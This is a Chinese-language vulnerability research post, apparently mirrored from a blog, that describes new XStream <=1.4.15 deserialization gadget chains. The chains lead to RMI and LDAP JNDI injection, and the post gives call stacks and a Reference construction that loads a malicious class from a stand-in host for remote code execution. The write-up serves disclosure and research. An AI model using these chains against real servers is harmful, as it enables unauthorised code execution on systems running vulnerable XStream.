3

XStream | Smi1e

 3 years ago
source link: https://www.smi1e.top/xstream/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

漏洞复现证明截图

1.png

XStream<=1.4.15

年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,在这里给大家分享出来。
其他爆出的几个链可以在 http://x-stream.github.io/changes.html 上查看poc

回顾下CVE-2020-26217的调用栈

com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
    java.util.HashMap#put
        java.util.HashMap#hash
            jdk.nashorn.internal.objects.NativeString#hashCode
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                    com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                        java.io.SequenceInputStream#read(byte[], int, int)
                        java.io.SequenceInputStream#nextStream
                            javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
                                javax.imageio.spi.FilterIterator#next
                                javax.imageio.spi.FilterIterator#advance
                                    javax.imageio.ImageIO.ContainsFilter#filter
                                        java.lang.ProcessBuilder#start

hashcode()->toString() 的入口 jdk.nashorn.internal.objects.NativeString 和 sink点 javax.imageio.ImageIO$ContainsFilter 都被加入到了黑名单中。

不过我们可以复用 java.io.SequenceInputStream#nextStream 去找新的sink点。

2.png

com.sun.jndi.rmi.registry.BindingEnumeration

3.png

ctxvar2 我们都可控,因此这里可以进行JNDI注入。不过 ctxcom.sun.jndi.rmi.registry.RegistryContext 类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。

4.png

com.sun.jndi.ldap.LdapBindingEnumeration#createItem
5.png

DirectoryManager.getObjectInstance 可以通过传入 Reference 对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2 我们都可控,回溯一下var4。

6.png

跟进 decodeReference,由于 decodeObject 中的 var0 我们可控,最终可以让代码进入到 decodeReference 方法中,且 new Reference 的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/") 传入 DirectoryManager.getObjectInstance 即可加载 [http://example.com:12345/](http://example.com:12345/) 上名为 factoryClassName.class 的类,将恶意代码放入static代码块即可任意代码执行。

7.png

com.sun.jndi.ldap.LdapBindingEnumeration 直接传过去会出现 this.data 不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 来间接调用 LdapBindingEnumeration#next 方法。

8.png

触发toString()

然后还有 toString 的入口,找了一圈所有类的 hashcode() 方法也没有找到能够触发 toString 的类,由于 SerializableConverter 支持调用 readObject 方法,前提是该类实现了 java.io.Serializable 接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject 方法。
9.png

比较常用的是 javax.management.BadAttributeValueExpException#readObject ,但是该类继承了 Throwable ,会被 ThrowableConverter 补货到,无法被 SerializableConverter 解析。

10.png
因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString() 的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。

java.util.PriorityQueue#readObject
        ->java.util.PriorityQueue#heapify
                ->java.util.PriorityQueue#siftDown
                        ->java.util.PriorityQueue#siftDownUsingComparator
                              ->javafx.collections.ObservableList#sorted()#compare()

11.png

不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。
调用栈
RMI

java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                      java.io.SequenceInputStream#read(byte[], int, int)
                      java.io.SequenceInputStream#nextStream
                          com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                              com.sun.jndi.rmi.registry.BindingEnumeration#next
                                  RegistryContext.lookup
java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                     java.io.SequenceInputStream#read(byte[], int, int)
                     java.io.SequenceInputStream#nextStream
                         com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                             com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
                                 com.sun.jndi.ldap.LdapBindingEnumeration#createItem
                                     javax.naming.spi.DirectoryManager#getObjectInstance



About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK